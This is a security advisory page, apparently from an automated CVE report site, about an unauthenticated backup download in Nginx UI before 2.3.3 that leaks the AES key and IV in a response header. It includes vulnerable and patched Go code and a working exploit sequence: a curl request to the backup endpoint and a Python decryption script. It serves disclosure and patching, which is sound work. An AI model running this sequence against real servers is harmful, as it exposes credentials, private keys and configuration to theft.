CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27944

CVE-2026-27944: Unauthenticated Backup Download and Encryption Key Disclosure in Nginx UI

Alon Barad
Alon Barad
Software Engineer

Mar 5, 2026·5 min read·487 visits

Executive Summary (TL;DR)

Unauthenticated attackers can download full system backups from Nginx UI instances (< 2.3.3) via the `/api/backup` endpoint. The server response includes the AES decryption keys in the `X-Backup-Security` header, allowing attackers to decrypt sensitive data like database credentials and SSH keys. Fixed in version 2.3.3.

A critical authentication bypass and information disclosure vulnerability exists in Nginx UI versions prior to 2.3.3. The application exposes the `/api/backup` endpoint without requiring authentication, allowing unauthenticated remote attackers to trigger and download full system backups. Compounding this issue, the backup generation logic explicitly includes the AES-256 encryption key and initialization vector (IV) in the HTTP response headers, enabling immediate decryption of the downloaded archives. This flaw permits complete system compromise through the exfiltration of database credentials, SSL private keys, and application configuration files.

Vulnerability Overview

Nginx UI is a popular web-based management interface for Nginx servers, providing features to configure virtual hosts, manage SSL certificates, and monitor system metrics. In versions prior to 2.3.3, a critical architectural failure exists in the backup management subsystem.

The vulnerability is twofold. First, the API route responsible for generating and serving backups (/api/backup) was exposed to the public internet without any authentication middleware. This classifies as a standard Authentication Bypass (CWE-306). Second, and more critically, the application failed to securely manage the cryptographic material used to protect these backups. Instead of storing the decryption key securely on the server or requiring a user-provided passphrase, the backend automatically generated ephemeral AES keys and transmitted them back to the requester in a custom HTTP header (X-Backup-Security).

This combination of flaws transforms what might have been an opaque binary blob (an encrypted backup) into a fully accessible archive of the server's most sensitive data. The vulnerability is remotely exploitable via a single HTTP GET request, requiring no user interaction or prior privileges.

Root Cause Analysis

The vulnerability stems from two distinct implementation errors in the Go-based backend:

1. Missing Route Protection (CWE-306): In modern web frameworks (like Gin or Echo used in Go), sensitive routes are typically grouped under middleware that validates session tokens or JWTs. The Nginx UI developers failed to register the /api/backup endpoint within the authenticated router group. While endpoints like /api/settings or /api/nginx were correctly protected, the backup route was effectively treated as a public asset, likely due to an oversight during the registration of route handlers in api/backup/router.go.

2. Insecure Key Transmission (CWE-321): The backup handler (CreateBackup in api/backup/backup.go) implements a cryptographic anti-pattern. The system generates a random 32-byte key for AES-256 encryption. However, to facilitate easy restoration for the user, the developer chose to transmit this key immediately to the client. The code creates a custom header, X-Backup-Security, containing the Base64-encoded Key and Initialization Vector (IV). By delivering the cryptographic key alongside the ciphertext in the same channel, the encryption provides no effective security against an attacker who can intercept or request the data.

Code Analysis

The following analysis illustrates the insecure implementation in the request handler and the subsequent remediation.

Vulnerable Code Pattern

In the vulnerable version, the router setup lacks the authRequired middleware wrapper, and the handler explicitly leaks the key:

// api/backup/router.go (Vulnerable)
func InitRouter(r *gin.RouterGroup) {
    // FLAW: The backup route is registered publicly
    r.GET("/backup", CreateBackup)
}
 
// api/backup/backup.go (Vulnerable)
func CreateBackup(c *gin.Context) {
    // ... [Backup generation logic] ...
    
    key := utils.GenerateRandomKey(32)
    iv := utils.GenerateRandomKey(16)
    
    // Encrypt the backup file
    encryptedData := utils.AesEncrypt(data, key, iv)
    
    // CRITICAL FLAW: Leaking the key and IV in headers
    keyStr := base64.StdEncoding.EncodeToString(key)
    ivStr := base64.StdEncoding.EncodeToString(iv)
    c.Header("X-Backup-Security", keyStr + ":" + ivStr)
    
    c.Data(200, "application/octet-stream", encryptedData)
}

Patched Code

The fix involves enforcing authentication and removing the header leakage. The key is now likely managed differently or the backup mechanism was refactored to not send keys over the wire in this manner.

// api/backup/router.go (Patched)
func InitRouter(r *gin.RouterGroup) {
    // FIX: Route is now protected by authentication middleware
    auth := r.Group("/backup")
    auth.Use(middleware.Auth())
    {
        auth.GET("", CreateBackup)
    }
}
 
// api/backup/backup.go (Patched)
func CreateBackup(c *gin.Context) {
    // ... [Backup generation logic] ...
    
    // FIX: The X-Backup-Security header injection is removed.
    // Keys are no longer returned to the client in headers.
    c.Data(200, "application/octet-stream", encryptedData)
}

Exploitation Methodology

Exploiting CVE-2026-27944 is trivial and reliable. An attacker requires only network access to the Nginx UI port (default: 80 or 443, depending on configuration).

1. Retrieval: The attacker issues a GET request to the target.

curl -v -o backup.bin http://target-ip/api/backup

2. Key Extraction: The response headers will contain the leakage:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
X-Backup-Security: uFT8...[Key]...==:v1D...[IV]...==
Content-Length: 1048576

3. Decryption: The attacker parses the header. The string before the colon (:) is the AES key; the string after is the IV. Both are Base64 encoded. Using OpenSSL or a simple Python script, the attacker decrypts the payload:

from Crypto.Cipher import AES
import base64
 
# Values from X-Backup-Security header
key = base64.b64decode("uFT8...")
iv = base64.b64decode("v1D...")
 
with open('backup.bin', 'rb') as f:
    ciphertext = f.read()
 
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
 
with open('backup.tar.gz', 'wb') as f:
    f.write(plaintext)

Once decrypted, the archive typically contains SQLite databases (database.db) with user credentials, Nginx configuration files, and SSL certificates.

Impact Assessment

The impact of this vulnerability is Critical (CVSS 9.8) because it leads to total compromise of the application and potentially the underlying server infrastructure.

Data Confidentiality: The backup archive contains the Nginx UI database.db. This SQLite file stores administrative user accounts, hashed passwords, and potentially 2FA secrets. It also contains the app.ini configuration file, which may store secrets for third-party integrations.

Infrastructure Security: Nginx UI manages SSL certificates. The backup includes the private keys for all managed domains. An attacker can use these keys to decrypt previously captured traffic or impersonate the server (Man-in-the-Middle). Additionally, the Nginx configuration files reveal the internal network topology, upstream proxy targets, and routing rules.

Access Control: With access to the database, an attacker can extract the admin password hash, crack it (or replace it if they can manipulate the live DB file via other means), and log in to the UI with full administrative privileges. From there, they can execute arbitrary commands by modifying Nginx configurations to invoke shell scripts or binaries.

Official Patches

0xJackyNginx UI Release Notes

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Nginx UI < 2.3.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
Nginx UI
0xJacky
< 2.3.32.3.3
AttributeDetail
CWE IDCWE-306 (Missing Auth), CWE-311 (Missing Encryption)
CVSS v3.19.8 (Critical)
Attack VectorNetwork (Remote)
ImpactInformation Disclosure, Full System Compromise
Exploit StatusPoC Available
KEV StatusNot Listed (as of March 2026)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552Unsecured Credentials
Credential Access
T1537Transfer Data to Cloud Account
Exfiltration
CWE-306
Missing Authentication for Critical Function

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Known Exploits & Detection

GitHub Security AdvisoryAdvisory detailing the vulnerability and exploit vector.

Vulnerability Timeline

Public Disclosure and CVE Assignment
2026-03-05
Patch v2.3.3 Released
2026-03-05

References & Sources

  • [1]GitHub Advisory GHSA-g9w5-qffc-6762
  • [2]CVE-2026-27944 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•27 minutes ago•CVE-2026-124194
6.5

CVE-2026-124194: Forced Authentication and NetNTLMv2 Credential Leakage in Microsoft Office Outlook

CVE-2026-124194 is a forced authentication and spoofing vulnerability in Microsoft Office Outlook caused by a missing user interface warning before dereferencing remote network paths (CWE-356). By embedding an attacker-controlled Universal Naming Convention (UNC) path within MAPI message properties such as PidLidReminderFileParameter, an unauthenticated remote attacker can force a victim's system to initiate an outbound SMB or WebDAV connection upon opening or previewing a crafted message. This automatic authentication handshake leaks the user's NetNTLMv2 hash, enabling offline password cracking or real-time NTLM relay attacks. The vulnerability was exploited in the wild as a zero-day prior to its remediation in Microsoft's November 2026 Patch Tuesday updates and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Alon Barad
Alon Barad
1 views•10 min read
•39 minutes ago•CVE-2026-114154
7.5

CVE-2026-114154: Denial of Service in ASP.NET Core HttpSys Request Header Processing

CVE-2026-114154 is a high-severity Denial of Service (DoS) and uncontrolled resource consumption vulnerability in the Microsoft.AspNetCore.Server.HttpSys component of ASP.NET Core. When processing an HTTP request that simultaneously contains a chunked Transfer-Encoding header, a Content-Length header, and an explicit X-Content-Length header, the server throws an unhandled ArgumentException during header normalization. In certain versions, subsequent exception handling attempts to dereference a disposed native request context, aborting error response dispatch and leaking unmanaged HTTP.sys request structures.

Amit Schendel
Amit Schendel
1 views•9 min read
•about 2 hours ago•CVE-2026-120778
7.3

CVE-2026-120778: Local Elevation of Privilege via Insecure Temporary Directory Handling and MSBuild Response File Hijacking in Microsoft .NET Aspire CLI

A local elevation of privilege vulnerability exists in the Microsoft .NET Aspire CLI (`Aspire.Cli`) versions 13.5.4 prior to 13.6.5. When executing SDK management commands (`aspire sdk generate`, `aspire sdk dump`, and `aspire sdk export`), the CLI creates temporary project directories inside the shared operating system temporary folder (such as `/tmp` on Unix-like systems) without restricting directory permissions or disabling MSBuild automatic response file resolution. A local, low-privileged attacker on a multi-user system can place a crafted `Directory.Build.rsp` file in the shared temporary directory hierarchy. When a victim user executes an affected Aspire CLI command, MSBuild traverses upward, ingests the attacker-controlled response file, and executes arbitrary commands in the security context of the victim user.

Alon Barad
Alon Barad
2 views•10 min read
•about 3 hours ago•CVE-2026-120792
7.3

CVE-2026-120792: Local Information Disclosure via Temporary File Logging in Microsoft .NET Aspire CLI

CVE-2026-120792 is a high-severity local information disclosure vulnerability in the Microsoft .NET Aspire CLI (Aspire.Cli) affecting versions 13.5.4 prior to 13.6.5. The flaw stems from the insertion of sensitive information into a shared temporary log file (CWE-532) combined with insecure temporary file creation (CWE-377) within the DeprecatedMcpCommandScanner component. During agent configuration scanning, the CLI unconditionally appends internal workspace paths and the first 200 characters of Model Context Protocol (MCP) agent configuration files to a statically named file in the system temporary directory. On multi-user systems, unprivileged local users can read this file to harvest API keys, authentication tokens, and internal service endpoints.

Alon Barad
Alon Barad
3 views•9 min read
•about 4 hours ago•CVE-2026-114159
8.8

CVE-2026-114159: Heap-Based Buffer Overflow in Microsoft Visual Studio and .NET Native Symbol Reader

CVE-2026-114159 is a heap-based buffer overflow vulnerability (CWE-122) in Microsoft.DiaSymReader.Native affecting Microsoft Visual Studio and the .NET Runtime on Windows. An integer truncation error during the parsing of oversized document names in Portable PDB symbol files causes an undersized heap allocation, leading to an out-of-bounds memory write and remote code execution.

Alon Barad
Alon Barad
6 views•10 min read
•about 5 hours ago•CVE-2026-114158
8.8

CVE-2026-114158: Heap-Based Buffer Overflow in Microsoft.DiaSymReader.Native Portable PDB Parser

CVE-2026-114158 is a high-severity remote code execution vulnerability affecting Microsoft Visual Studio 2026 and multiple supported servicing branches of Microsoft .NET (.NET 8.0, 9.0, 10.0, and 11.0) on Windows. The flaw resides in the native symbol reader library, Microsoft.DiaSymReader.Native, and is triggered when parsing Portable Program Database (PDB) metadata containing malformed EmbeddedSource custom debug information records. By supplying a parent Record Identifier (RID) of zero or an out-of-bounds value, an attacker causes an integer underflow during 1-based to 0-based index conversion, leading to a heap-based buffer overflow and arbitrary code execution within the context of the host developer tool or runtime.

Amit Schendel
Amit Schendel
5 views•10 min read